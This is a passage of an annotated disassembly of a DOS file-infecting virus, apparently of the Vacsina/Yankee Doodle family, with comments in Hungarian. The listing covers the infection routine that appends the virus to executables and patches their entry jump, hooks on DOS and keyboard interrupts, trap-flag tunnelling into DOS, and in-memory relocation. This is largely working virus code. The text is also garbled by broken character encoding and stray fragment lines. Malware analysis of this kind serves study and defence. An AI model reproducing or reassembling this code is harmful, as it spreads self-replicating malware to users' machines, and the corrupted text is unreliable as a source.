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029A 833E3900FF * CMP WORD PTR [0039],-01 ;Mem<65>riaig<69>ny (max)
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029F 7595 JNZ 0236 ;Ha nem FFFF nem fert<72>zz<7A>k (mi<6D>rt ?)
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02A1 A13100 MOV AX,[0031] ;File hossz 512-es lapokban
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|
02A4 B109 MOV CL,09
|
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02A6 D3E0 SHL AX,CL ;*512
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|
02A8 3B06D806 CMP AX,[06D8] ;Stimmel-e a hossz?
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02AC 7288 JB 0236 ;Ha nem nem fert<72>z<EFBFBD>nk
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; File megfert<72>z<EFBFBD>se (EXE-b<>l is COM-ot csin<69>l)
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; Els<6C> 3 byte meg<65>rz<72>se
|
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02AE A12E00 * MOV AX,[002E] ;File 2.,3. byteja
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02B1 050301 ADD AX,0103 ;+ 0103 !!!
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02B4 A3DA06 MOV [06DA],AX ;ERE_2_3
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02B7 A02D00 MOV AL,[002D] ;File 1. byteja
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|
02BA A2DF06 MOV [06DF],AL ;ERE_1
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; Filehossz kerk<72>t<EFBFBD>se paragrafushat<61>rra
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02BD B80042 MOV AX,4200 ;MOVE_FILE_POINTER
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02C0 B90000 MOV CX,0000
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02C3 8B16D806 MOV DX,[06D8] ;ERE_HOSSZ
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02C7 83C20F ADD DX,+0F
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02CA 83E2F0 AND DX,-10 ;Filehossz kerek<65>t<EFBFBD>se
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02CD 8B1E2200 MOV BX,[0022] ;HANDLE
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02D1 E86BFD CALL 003F ;TINT 21
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02D4 7303 JNB 02D9
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02D6 EB6E * JMP 0346 ;Hib<69>n<EFBFBD>l
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02D8 90 NOP
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; A v<>rus hozz<7A><7A>rja mag<61>t a filehoz
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02D9 8B1E2200 * MOV BX,[0022] ;HANDLE
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02DD 8CCA MOV DX,CS ;???
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02DF BA0000 MOV DX,0000
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02E2 B9E006 MOV CX,06E0 ;V<>rus hossza
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02E5 B440 MOV AH,40 ;WRITE_HANDLE
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|
02E7 FF362B00 PUSH [002B] ;Meg<65>rzi (VEZERLO)
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02EB C6062B0001 MOV BYTE PTR [002B],01 ;fert<72>z<EFBFBD> p<>ld<6C>ny jelz<6C>s
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02F0 E84CFD CALL 003F ;TINT 21
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02F3 5A POP DX
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02F4 88162B00 MOV [002B],DL ;Vissza<7A>ll<6C>tja
|
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02F8 72DC JB 02D6 ;Hib<69>n<EFBFBD>l
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|
02FA 3DE006 CMP AX,06E0 ;Ki<4B>rta-e mind a 06E0 byteot
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02FD 75D7 JNZ 02D6 ;Hib<69>n<EFBFBD>l
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02FF E845FD CALL 0047 ;Directory bejegyz<79>s aktualiz<69>l<EFBFBD>sa
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0302 72D2 JB 02D6 ;Hib<69>n<EFBFBD>l
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; A file leend<6E> els<6C> 3 bytej<65>nak el<65><6C>ll<6C>t<EFBFBD>sa a BUFFER-ben
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0304 C6062D00E9 MOV BYTE PTR [002D],E9 ;JMP k<>dja
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|
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0309 2E CS:
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|
030A 8B16D806 MOV DX,[06D8] ;ERE_HOSSZ
|
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030E 83C20F ADD DX,+0F
|
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|
0311 83E2F0 AND DX,-10 ;Kerek<65>t<EFBFBD>s
|
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0314 83EA03 SUB DX,+03 ;-3 a JMP miatt
|
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|
0317 81C28B03 ADD DX,038B ;+ a bel<65>p<EFBFBD>si pont offsetje a v<>ruson
|
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bel<EFBFBD>l
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031B 89162E00 MOV [002E],DX ;JMP operandusa
|
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; Az els<6C> 3 byte <20>t<EFBFBD>r<EFBFBD>sa
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031F B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx)
|
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|
0322 B90000 MOV CX,0000
|
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0325 8BD1 MOV DX,CX ;File elej<65>re <20>ll<6C>s
|
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0327 8B1E2200 MOV BX,[0022] ;HANDLE
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|
032B E811FD CALL 003F ;TINT 21
|
|
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|
032E 72A6 JB 02D6 ;Hib<69>n<EFBFBD>l
|
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0330 8B1E2200 MOV BX,[0022] ;HANDLE
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0334 BA2D00 MOV DX,002D ;BUFFER
|
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|
0337 B90300 MOV CX,0003 ;3 byte
|
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|
033A B440 MOV AH,40 ;WRITE_HANDLE (bx,cx,ds:dx)
|
|
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|
033C E800FD CALL 003F ;TINT 21
|
|
|
|
|
033F 7295 JB 02D6 ;Hib<69>n<EFBFBD>l
|
|
|
|
|
0341 3D0300 CMP AX,0003
|
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|
|
0344 7590 JNZ 02D6 ;Hib<69>n<EFBFBD>l
|
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; File d<>tum<75>nak vissza<7A>ll<6C>t<EFBFBD>sa, lez<65>r<EFBFBD>s
|
|
|
|
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|
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|
0346 2E * CS:
|
|
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|
|
0347 8B1E2200 MOV BX,[0022] ;HANDLE
|
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|
|
034B 2E CS:
|
|
|
|
|
034C 8B0E2400 MOV CX,[0024] ;F_DTTM (time)
|
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|
|
0350 2E CS:
|
|
|
|
|
0351 8B162600 MOV DX,[0026] ;F_DTTM+2 (date)
|
|
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|
|
0355 B80157 MOV AX,5701 ;SET_FILE_DTTM (cx:dx)
|
|
|
|
|
0358 E8E4FC CALL 003F ;TINT 21
|
|
|
|
|
035B B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
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|
|
035D E8DFFC CALL 003F ;TINT 21
|
|
|
|
|
|
|
|
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|
|
|
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|
|
; File eredeti attributtum<75>nak vissza<7A>ll<6C>t<EFBFBD>sa
|
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|
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|
0360 B80143 * MOV AX,4301 ;SET_FILE_ATTR
|
|
|
|
|
0363 8E5E0E MOV DS,[BP+0E] ;eredeti ds
|
|
|
|
|
0366 8B5606 MOV DX,[BP+06] ;eredeti dx
|
|
|
|
|
0369 2E CS:
|
|
|
|
|
036A 8B0E2000 MOV CX,[0020] ;F_ATTR
|
|
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|
|
036E E8CEFC CALL 003F ;TINT 21
|
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|
|
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|
; Eredeti INT 24 vissza<7A>r<EFBFBD>sa, eredeti DOS h<>v<EFBFBD>sa
|
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|
0371 B82425 * MOV AX,2524 ;SET_INT_VECT (ds:dx)
|
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|
|
0374 2E CS:
|
|
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|
|
0375 C5161800 LDS DX,[0018] ;ERE_INT24
|
|
|
|
|
0379 E8C3FC CALL 003F ;TINT 21
|
|
|
|
|
037C 58 POP AX
|
|
|
|
|
037D 5B POP BX
|
|
|
|
|
037E 59 POP CX
|
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|
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|
037F 5A POP DX
|
|
|
|
|
0380 5E POP SI
|
|
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|
0381 5F POP DI
|
|
|
|
|
0382 5D POP BP
|
|
|
|
|
0383 1F POP DS
|
|
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|
0384 07 POP ES
|
|
|
|
|
0385 9D POPF
|
|
|
|
|
0386 2E CS:
|
|
|
|
|
0387 FF2E1000 JMP FAR [0010] ;ERE_INT21
|
|
|
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|
|
;---------------------------------------------------------------
|
|
|
|
|
; Bel<65>p<EFBFBD>si pont
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
038B E80000 * CALL 038E
|
|
|
|
|
038E 5B * POP BX ;*** BX=038E ***
|
|
|
|
|
038F 2E CS:
|
|
|
|
|
0390 89879AFC MOV [BX+FC9A],AX ;ERE_AX (0028) ax ment<6E>se
|
|
|
|
|
0394 2E CS:
|
|
|
|
|
0395 FE879EFC INC BYTE PTR [BX+FC9E] ;INIC_SZ (002C) inicializ<69>l<EFBFBD>sok sz<73>m
|
|
|
|
|
<EFBFBD>nak n<EFBFBD>vel<EFBFBD>s
|
|
|
|
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|
|
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|
|
|
; <20>nlek<65>rdez<65>s
|
|
|
|
|
|
|
|
|
|
0399 53 PUSH BX ;bx=038E
|
|
|
|
|
039A BB1800 MOV BX,0018 ;bx=24D (verzi<7A>sz<73>m)
|
|
|
|
|
039D F8 CLC
|
|
|
|
|
039E B803C5 MOV AX,C503 ;<3B>nlek<65>rdez<65>s. CF-fel t<>r vissza, ha
|
|
|
|
|
akt<EFBFBD>v
|
|
|
|
|
03A1 CD21 INT 21 ;Megj.:Novell if CF-et ad vissza, az
|
|
|
|
|
t hiszem
|
|
|
|
|
03A3 5B POP BX ;bx=038E
|
|
|
|
|
03A4 7227 JB 03CD ;Ugr<67>s, ha m<>r akt<6B>v az redeti progr
|
|
|
|
|
am futtat<EFBFBD>s<EFBFBD>ra
|
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|
|
; A v<>rus h<>tr<74>bb m<>solja mag<61>t ([0000]+1 paragrafussal)
|
|
|
|
|
|
|
|
|
|
03A6 83FCF0 CMP SP,-10
|
|
|
|
|
03A9 7222 JB 03CD ;Ha sp<FFF0 akkor nincs el<65>g szabad
|
|
|
|
|
mem<EFBFBD>ria
|
|
|
|
|
03AB 2E CS:
|
|
|
|
|
03AC 8B9775FC MOV DX,[BX+FC75] ;C_084D (0000) konstans
|
|
|
|
|
03B0 42 INC DX
|
|
|
|
|
03B1 8CD9 MOV CX,DS
|
|
|
|
|
03B3 03D1 ADD DX,CX
|
|
|
|
|
03B5 8EC2 MOV ES,DX ;ES=DS+084E
|
|
|
|
|
03B7 8BF3 MOV SI,BX ;bx=038E
|
|
|
|
|
03B9 81C672FC ADD SI,FC72 ;si=0000 (v<>rus kezdete)
|
|
|
|
|
03BD 8BFE MOV DI,SI
|
|
|
|
|
03BF B9E006 MOV CX,06E0 ;v<>rus hossza
|
|
|
|
|
03C2 FC CLD
|
|
|
|
|
03C3 F3 REPZ
|
|
|
|
|
03C4 A4 MOVSB
|
|
|
|
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|
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|
; A vez<65>rl<72>s <20>tker<65>l a m<>solat v<>rusra
|
|
|
|
|
|
|
|
|
|
03C5 06 PUSH ES
|
|
|
|
|
03C6 E80300 CALL 03CC
|
|
|
|
|
03C9 E9B300 JMP 047F ;ES:047F-en folytat<61>dik a v<>grehajt<6A>
|
|
|
|
|
s
|
|
|
|
|
03CC CB * RETF
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; Az eredeti program futtat<61>sa
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; Vissza<7A>ll<6C>tja az eredeti els<6C> 3 byteot
|
|
|
|
|
|
|
|
|
|
03CD 8CC8 * MOV AX,CS ;<3B>j_cs
|
|
|
|
|
03CF 8ED8 MOV DS,AX
|
|
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|
|
03D1 8EC0 MOV ES,AX
|
|
|
|
|
03D3 8ED0 MOV SS,AX
|
|
|
|
|
03D5 83C402 ADD SP,+02
|
|
|
|
|
03D8 B80000 MOV AX,0000 ;A stacken 0000-nak kell lennie, hog
|
|
|
|
|
y egy sima ret
|
|
|
|
|
03DB 50 PUSH AX ;a DOS-ba t<>rjen vissza !
|
|
|
|
|
03DC 2E CS:
|
|
|
|
|
03DD 8A875103 MOV AL,[BX+0351] ;ERE_1 (06DF) A file eredeti 1. byte
|
|
|
|
|
ja
|
|
|
|
|
03E1 2E CS:
|
|
|
|
|
03E2 A20001 MOV [0100],AL ;Vissza<7A>ll<6C>t<EFBFBD>s
|
|
|
|
|
03E5 2E CS:
|
|
|
|
|
03E6 8B879AFC MOV AX,[BX+FC9A] ;ERE_AX (0028) ax eredeti <20>rt<72>ke
|
|
|
|
|
03EA 2E CS:
|
|
|
|
|
03EB 8B9F4C03 MOV BX,[BX+034C] ;ERE_2_3 (06DA) a file eredeti 2.,3.
|
|
|
|
|
byteja + 0103
|
|
|
|
|
03EF 81EB0301 SUB BX,0103 ;Megkapjuk az eredeti 2.,3. byteot
|
|
|
|
|
03F3 2E CS:
|
|
|
|
|
03F4 891E0101 MOV [0101],BX ;Vissza<7A>ll<6C>t<EFBFBD>s
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;Eld<6C>nti, hogy az eredeti file eredetileg EXE vagy COM volt-e (el<65>g k<>r<EFBFBD>lm<6C>
|
|
|
|
|
nyesen)
|
|
|
|
|
|
|
|
|
|
03F8 2E CS:
|
|
|
|
|
03F9 813E00015A4D CMP WORD PTR [0100],4D5A;Ha a file EXE volt 040F-en folytato
|
|
|
|
|
dik
|
|
|
|
|
03FF 740E JZ 040F ;Megj.: Mindegyik vacsin<69>ban, s<>t a
|
|
|
|
|
Yankee Doodleban
|
|
|
|
|
0401 2E CS: ;is k<>t EXE k<>dot ellen<65>riz. Vagy va
|
|
|
|
|
l<EFBFBD>ban megvan ez a
|
|
|
|
|
0402 813E00014D5A CMP WORD PTR [0100],5A4D;k<>t lehet<65>s<EFBFBD>g, Vagy az <20>r<EFBFBD> nem tudt
|
|
|
|
|
a melyik a j<EFBFBD> !
|
|
|
|
|
0408 7405 JZ 040F
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Ha a file eredetileg COM volt 0100-ra ad<61>dik a vez<65>rl<72>s
|
|
|
|
|
|
|
|
|
|
040A BB0001 MOV BX,0100
|
|
|
|
|
040D 53 PUSH BX
|
|
|
|
|
040E C3 RET ;Eredeti COM program futat<61>sa
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; EXE filen<65>l m<>g relok<6F>lni is kell !
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; EXE HEADER-b<>l kiolvasott adatok feldolgoz<6F>sa
|
|
|
|
|
|
|
|
|
|
040F E80000 * CALL 0412 ;bx m<>r elveszett
|
|
|
|
|
0412 5B * POP BX ;bx=0412
|
|
|
|
|
0413 50 PUSH AX ;Eredeti ax meg<65>rz<72>se
|
|
|
|
|
0414 8CC0 MOV AX,ES ;es=cs
|
|
|
|
|
0416 051000 ADD AX,0010 ;ax a file(!) elej<65>re mutat (es,ds m
|
|
|
|
|
<EFBFBD>g nem)
|
|
|
|
|
0419 8B0E0E01 MOV CX,[010E] ;stack t<>vols<6C>ga paragrafusban (EXE
|
|
|
|
|
HEADER-ben)
|
|
|
|
|
041D 03C8 ADD CX,AX ;+ file kezdete a mem.-ben
|
|
|
|
|
041F 894FFB MOV [BX-05],CX ;K<>dra menti !!!
|
|
|
|
|
0422 8B0E1601 MOV CX,[0116] ;k<>dter<65>let t<>vols<6C>ga paragrafusban
|
|
|
|
|
0426 03C8 ADD CX,AX ;+ file kezdet
|
|
|
|
|
0428 894FF7 MOV [BX-09],CX ;K<>dra menti !!!
|
|
|
|
|
042B 8B0E1001 MOV CX,[0110] ;sp kezdeti <20>rt<72>ke
|
|
|
|
|
042F 894FF9 MOV [BX-07],CX ;K<>dra menti !!!
|
|
|
|
|
0432 8B0E1401 MOV CX,[0114] ;ip kezdeti <20>rt<72>ke
|
|
|
|
|
0436 894FF5 MOV [BX-0B],CX ;K<>dra menti !!!
|
|
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0439 8B3E1801 MOV DI,[0118] ;Els<6C> relok<6F>ci<63>s bejegyz<79>s
|
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043D 8B160801 MOV DX,[0108] ;HEADER hossza paragrafufban
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|
0441 B104 MOV CL,04
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0443 D3E2 SHL DX,CL ;* 16 (Nem lehet t<>lcsorg<72>s, mert a
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file hossza <64K)
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0445 8B0E0601 MOV CX,[0106] ;Relok<6F>ci<63>s t<>bla hossza (bejegyz<79>sb
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en)
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0449 E317 JCXZ 0462 ;Ugr<67>s, ha nincs mit relok<6F>lni
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; Relok<6F>l<EFBFBD>s ciklusa
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044B 26 * ES:
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044C C5B50001 LDS SI,[DI+0100] ;K<>vetkez<65> relok<6F>land<6E> sz<73> eltol<6F>sa
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|
0450 83C704 ADD DI,+04 ;K<>vetkez<65> relok<6F>ci<63>s bejegyz<79>s
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|
|
0453 8CDD MOV BP,DS
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|
0455 26 ES:
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|
0456 032E0801 ADD BP,[0108] ;HEADER hossza paragrafusban
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045A 03E8 ADD BP,AX ;ax=a program leend<6E> kezdete a mem.b
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en
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|
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045C 8EDD MOV DS,BP ;Melyik szegmensen van a relok<6F>land<6E>
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|
sz<EFBFBD>
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|
045E 0104 ADD [SI],AX ;Relok<6F>ci<63>
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|
0460 E2E9 LOOP 044B ;Ciklus cx-szer
|
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; Az EXE program val<61>di hely<6C>re ker<65>l a mem<65>ri<72>ban
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|
0462 0E * PUSH CS
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|
0463 1F POP DS ;ds=cs (es=cs)
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|
|
|
0464 BF0001 MOV DI,0100
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|
|
|
0467 8BF2 MOV SI,DX ;si=header hossza byteokban
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|
|
0469 81C60001 ADD SI,0100 ;K<>dter<65>let kezd<7A>c<EFBFBD>me
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|
|
|
046D 8BCB MOV CX,BX ;bx=0412
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046F 2BCE SUB CX,SI ;Ennyi byteot m<>soljon !
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|
0471 F3 REPZ ;Megj.: Ez egy kicsit t<>bb a kellet<65>
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nel, de ez a kuty<EFBFBD>t
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0472 A4 MOVSB ;sem <20>rdekli !
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; Regiszterek kezdeti <20>rt<72>keinek be<62>ll<6C>t<EFBFBD>sa, a program futtat<61>sa
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0473 58 POP AX ;Eredeti ax
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|
0474 FA CLI
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|
|
|
0475 8E57FB MOV SS,[BX-05] ;ss:sp be<62>ll<6C>t<EFBFBD>sa
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0478 8B67F9 MOV SP,[BX-07]
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|
047B FB STI
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|
047C FF6FF5 JMP FAR [BX-0B] ;cs:ip be<62>ll<6C>t<EFBFBD>sa, az eredeti progra
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|
m futtat<EFBFBD>sa
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;---------------------------------------------------------------
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|
; Az <20>j szegmensen itt folytat<61>dik a v<>grehajt<6A>s (03CC-r<>l)
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;---------------------------------------------------------------
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;Az eredeti programot, PSP-j<>t <20>s mem. le<6C>r<EFBFBD> blokkj<6B>t is h<>tr<74>bb mozgatja
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047F BE0000 * MOV SI,0000 ;Megj.: A k<>vetkez<65> k<>t utas<61>t<EFBFBD>s elh
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|
agyhat<EFBFBD> lenn
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|
0482 BF0000 MOV DI,0000
|
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|
0485 8BCB MOV CX,BX ;bx=038E
|
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|
|
0487 81C182FC ADD CX,FC82 ;cx=0016
|
|
|
|
|
048B 8CC2 MOV DX,ES ;A v<>rus <20>j szegmense
|
|
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|
048D 4A DEC DX
|
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|
048E 8EC2 MOV ES,DX ;es=<3D>j_cs-1
|
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|
0490 8CDA MOV DX,DS
|
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|
0492 4A DEC DX
|
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|
|
|
0493 8EDA MOV DS,DX ;ds=r<>gi_ds-1
|
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|
0495 03F1 ADD SI,CX ;si=0016
|
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0497 4E DEC SI
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0498 8BFE MOV DI,SI ;di=si=0015
|
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049A FD STD
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|
049B F3 REPZ ;r<>gi_ds:0005-><3E>j_cs:0005-re 0146 by
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|
te <EFBFBD>tm<EFBFBD>sol<EFBFBD>sa
|
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|
049C A4 MOVSB ;visszafel<65> (program+PSP+mem<65>riale<6C>r
|
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|
|
|
<EFBFBD> blokk <EFBFBD>tm<EFBFBD>
|
|
|
|
|
049D FC CLD ;Megj.: <20>j_cs:0000-0005 r<>sz k<>tszer
|
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|
|
is <EFBFBD>tm<EFBFBD>sol<EFBFBD>
|
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|
|
|
|
|
|
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|
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|
; Mem<65>riale<6C>r<EFBFBD> blokk <20>t<EFBFBD>r<EFBFBD>sa
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|
|
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|
|
049E 2E CS:
|
|
|
|
|
049F 8B9775FC MOV DX,[BX+FC75] ;VIR_HOSSZ (0003) v<>rus hossza parag
|
|
|
|
|
rafusokban
|
|
|
|
|
04A3 42 INC DX ;dx=006E
|
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|
|
|
04A4 26 ES:
|
|
|
|
|
04A5 29160300 SUB [0003],DX ;Mem<65>riablokk hossz<73>nak cs<63>kkent<6E>se
|
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|
|
04A9 26 ES:
|
|
|
|
|
04AA 8C0E0100 MOV [0001],CS ;Gazda az <20>j_cs
|
|
|
|
|
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|
|
; V<>rus visszam<61>sol<6F>sa a r<>gi szegmens elej<65>re
|
|
|
|
|
|
|
|
|
|
04AE BF0000 MOV DI,0000
|
|
|
|
|
04B1 8BF3 MOV SI,BX ;bx=038E
|
|
|
|
|
04B3 81C672FC ADD SI,FC72 ;si=0000 (v<>rus eleje)
|
|
|
|
|
04B7 B9E006 MOV CX,06E0 ;v<>rus hossza (byteben)
|
|
|
|
|
04BA 1E PUSH DS
|
|
|
|
|
04BB 07 POP ES ;es=r<>gi_ds-1
|
|
|
|
|
04BC 0E PUSH CS
|
|
|
|
|
04BD 1F POP DS ;ds=<3D>j_cs
|
|
|
|
|
04BE F3 REPZ ;V<>rus visszam<61>sol<6F>sa a szabadd<64> tet
|
|
|
|
|
t helyre
|
|
|
|
|
04BF A4 MOVSB ;(PSP-1:0-ra)
|
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|
|
|
04C0 53 PUSH BX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Az eredeti program <20>j PSP-t kap
|
|
|
|
|
|
|
|
|
|
04C1 8CCB MOV BX,CS
|
|
|
|
|
04C3 B450 MOV AH,50 ;SET_PSP (bx)
|
|
|
|
|
04C5 CD21 INT 21
|
|
|
|
|
04C7 5B POP BX
|
|
|
|
|
04C8 2E CS:
|
|
|
|
|
04C9 8C0E3600 MOV [0036],CS ;PSP-n bel<65>l a megfelel<65> bejegyz<79>s <20>
|
|
|
|
|
t<EFBFBD>r<EFBFBD>sa
|
|
|
|
|
;(Nem dokument<6E>lt)
|
|
|
|
|
04CD 2E CS:
|
|
|
|
|
04CE 8B162C00 MOV DX,[002C] ;Environment szegmense
|
|
|
|
|
04D2 4A DEC DX ;Environment mem. le<6C>r<EFBFBD> blokkja
|
|
|
|
|
04D3 8EC2 MOV ES,DX
|
|
|
|
|
04D5 26 ES:
|
|
|
|
|
04D6 8C0E0100 MOV [0001],CS ;Tulajdonos az <20>j PSP
|
|
|
|
|
04DA 8CD2 MOV DX,SS
|
|
|
|
|
04DC 4A DEC DX
|
|
|
|
|
04DD 8EDA MOV DS,DX ;ds=ss-1 Environment v<>ge
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Az INT 21 <20>s az INT 09 lek<65>rdez<65>se
|
|
|
|
|
|
|
|
|
|
04DF 53 PUSH BX
|
|
|
|
|
04E0 B82135 MOV AX,3521 ;GET_INT_VECT (es:bx)
|
|
|
|
|
04E3 CD21 INT 21
|
|
|
|
|
04E5 8C061200 MOV [0012],ES ;TISZTA_INT21 (0010)
|
|
|
|
|
04E9 891E1000 MOV [0010],BX
|
|
|
|
|
04ED 8C061600 MOV [0016],ES ;ERE_INT21 (0014)
|
|
|
|
|
04F1 891E1400 MOV [0014],BX
|
|
|
|
|
04F5 B80935 MOV AX,3509 ;GET_INT_VECT (es:bx)
|
|
|
|
|
04F8 CD21 INT 21
|
|
|
|
|
04FA 8C061E00 MOV [001E],ES ;ERE_INT09 (001C)
|
|
|
|
|
04FE 891E1C00 MOV [001C],BX
|
|
|
|
|
0502 5B POP BX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Az INT 21 ellop<6F>sa 00A0-ra
|
|
|
|
|
|
|
|
|
|
0503 B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx)
|
|
|
|
|
0506 BAA000 MOV DX,00A0
|
|
|
|
|
0509 CD21 INT 21
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Az INT 01 ellop<6F>sa 0535-re
|
|
|
|
|
|
|
|
|
|
050B B80125 MOV AX,2501 ;SET_INT_VECT (ds:dx)
|
|
|
|
|
050E BA3505 MOV DX,0535
|
|
|
|
|
0511 CD21 INT 21
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;Az INT 09 ellop<6F>sa 0065-re, s k<>zben a DOS val<61>di bel<65>p<EFBFBD>si pontj<74>nak megke
|
|
|
|
|
res<EFBFBD>se
|
|
|
|
|
|
|
|
|
|
0513 BA6500 MOV DX,0065 ;ds:dx-ben az INT 09 leend<6E> c<>me
|
|
|
|
|
0516 9C PUSHF
|
|
|
|
|
0517 8BC3 MOV AX,BX ;bx=038E
|
|
|
|
|
0519 05DC01 ADD AX,01DC ;056A Itt fog folytat<61>dni a vez<65>rl<72>s
|
|
|
|
|
a DOS h<EFBFBD>v<EFBFBD>s ut<EFBFBD>n
|
|
|
|
|
051C 0E PUSH CS
|
|
|
|
|
051D 50 PUSH AX
|
|
|
|
|
051E FA CLI
|
|
|
|
|
051F 9C PUSHF
|
|
|
|
|
0520 58 POP AX
|
|
|
|
|
0521 0D0001 OR AX,0100 ;Trap bit bebillent<6E>se
|
|
|
|
|
0524 50 PUSH AX
|
|
|
|
|
0525 8BC3 MOV AX,BX ;bx=038E
|
|
|
|
|
0527 05ADFC ADD AX,FCAD ;003B Ide fog ugrani el<65>sz<73>r
|
|
|
|
|
052A 0E PUSH CS
|
|
|
|
|
052B 50 PUSH AX
|
|
|
|
|
052C B80925 MOV AX,2509 ;SET_INT_VECT (ds:dx)
|
|
|
|
|
052F C6062A0001 MOV BYTE PTR [002A],01 ;TRAP_FALG enged<65>lyezve
|
|
|
|
|
0534 CF IRET ;STACK <20>llapota:
|
|
|
|
|
; flag
|
|
|
|
|
; cs
|
|
|
|
|
; 056A
|
|
|
|
|
; flag (Trap bit be<62>ll<6C>tva)
|
|
|
|
|
; cs
|
|
|
|
|
; 003B <- sp
|
|
|
|
|
;Igy a fut<75>s cs:003B-n folytat<61>dik l<>p<EFBFBD>senk<6E>nti futtat<61>ssal ! CS:003B-n egy
|
|
|
|
|
hossz<EFBFBD> ugr<EFBFBD>s
|
|
|
|
|
;van INT 21 helyett. Igy a DOS az interruptb<74>l kil<69>pve cs:056A-ra adja a ve
|
|
|
|
|
z<EFBFBD>rl<EFBFBD>st.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; INT 01 ( L<>p<EFBFBD>senk<6E>nti futtat<61>s )
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
;Ha nem enged<65>lyezett a l<>p<EFBFBD>senk<6E>nti futtat<61>s t<>rli a trap bitet
|
|
|
|
|
|
|
|
|
|
0535 55 * PUSH BP
|
|
|
|
|
0536 8BEC MOV BP,SP
|
|
|
|
|
0538 2E CS:
|
|
|
|
|
0539 803E2A0001 CMP BYTE PTR [002A],01 ;TRAP_FLAG
|
|
|
|
|
053E 740D JZ 054D ;Ugr<67>s, ha enged<65>lyezett a l<>p<EFBFBD>senk<6E>nt
|
|
|
|
|
i futtat<EFBFBD>s
|
|
|
|
|
0540 816606FFFE * AND WORD PTR [BP+06],FEFF ;Egy<67>bk<62>nt a stacken t<>rli a trap b
|
|
|
|
|
itet
|
|
|
|
|
0545 2E CS:
|
|
|
|
|
0546 C6062A0000 MOV BYTE PTR [002A],00 ;TRAP_FLAG = Nem enged<65>lyezett a l<>p<EFBFBD>
|
|
|
|
|
senk<EFBFBD>nti futtat<EFBFBD>s
|
|
|
|
|
054B 5D POP BP
|
|
|
|
|
054C CF IRET
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;Ha h<>v<EFBFBD>_cs>=0300 akkor semmit sem csin<69>l (m<>g nem jutott el a DOS-ig)
|
|
|
|
|
|
|
|
|
|
054D 817E040003 * CMP WORD PTR [BP+04],0300 ;cs <20>rt<72>ke a stacken (honnan h<>vt<76>k
|
|
|
|
|
az INT 01-et)
|
|
|
|
|
0552 7202 JB 0556
|
|
|
|
|
0554 5D POP BP
|
|
|
|
|
0555 CF IRET
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Megtal<61>lta a DOS val<61>di bel<65>p<EFBFBD>si pontj<74>t (h<>v<EFBFBD>_cs<0300)
|
|
|
|
|
|
|
|
|
|
0556 53 * PUSH BX
|
|
|
|
|
0557 8B5E02 MOV BX,[BP+02] ;h<>v<EFBFBD>_ip
|
|
|
|
|
055A 2E CS:
|
|
|
|
|
055B 891E1400 MOV [0014],BX ;TISZTA_INT21-en bel<65>l az offset
|
|
|
|
|
055F 8B5E04 MOV BX,[BP+04] ;h<>v<EFBFBD>_cs
|
|
|
|
|
0562 2E CS:
|
|
|
|
|
0563 891E1600 MOV [0016],BX ;TISZTA_INT21-en bel<65>l a szegmens
|
|
|
|
|
0567 5B POP BX
|
|
|
|
|
0568 EBD6 JMP 0540 ;Visszat<61>r<EFBFBD>s "nem kell t<>bb l<>p<EFBFBD>senk<6E>nti futt
|
|
|
|
|
at<EFBFBD>s" jelz<EFBFBD>ssel
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; A DOS l<>p<EFBFBD>senk<6E>nti futtat<61>sa ut<75>n ide t<>r vissza (0534-r<>l)
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; A g<>p fert<72>z<EFBFBD>tt jelz<6C>s elhelyez<65>se a kor<6F>bbi vacsin<69>knak
|
|
|
|
|
|
|
|
|
|
056A C6062A0000 * MOV BYTE PTR [002A],00 ;TRAP_FLAG = nem kell l<>p<EFBFBD>senk<6E>nti fu
|
|
|
|
|
ttat<EFBFBD>s
|
|
|
|
|
056F B80000 MOV AX,0000
|
|
|
|
|
0572 8EC0 MOV ES,AX ;es=0
|
|
|
|
|
0574 26 ES:
|
|
|
|
|
0575 C706C5007F39 MOV WORD PTR [00C5],397F;INT 31 vektor<6F>nak 2.,3. byteja (nem
|
|
|
|
|
dokument<EFBFBD>lt DOS
|
|
|
|
|
;interrupt, val<61>sz<73>n<EFBFBD>leg csak az els
|
|
|
|
|
<EFBFBD> byteot haszn<EFBFBD>lja
|
|
|
|
|
;a DOS). 397F egy ellen<65>rz<72> sz<73>. A k
|
|
|
|
|
or<EFBFBD>bbi verzi<EFBFBD>j<EFBFBD>
|
|
|
|
|
;vacsin<69>knak sz<73>l. Jelent<6E>se: a g<>p
|
|
|
|
|
m<EFBFBD>r fert<EFBFBD>z<EFBFBD>tt.
|
|
|
|
|
057B 26 ES:
|
|
|
|
|
057C C606C70018 MOV BYTE PTR [00C7],18 ;Verzi<7A>sz<73>m (melyik vacsina van a mem
|
|
|
|
|
<EFBFBD>ri<EFBFBD>ban)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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; DTA <20>t<EFBFBD>ll<6C>t<EFBFBD>sa <20>s az eredeti program futtat<61>sa
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0581 8CC8 MOV AX,CS
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0583 8ED8 MOV DS,AX
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0585 B41A MOV AH,1A ;SET_DTA_ADDRESS
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0587 BA5000 MOV DX,0050 ;HIBA !!! A DTA-nak cs:0080-ra kellene mutatni
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a
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058A CD21 INT 21 ;Megj.:Val<61>sz<73>n<EFBFBD>leg lehagyta az <20>r<EFBFBD> a
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'H'-t a sz<EFBFBD>m
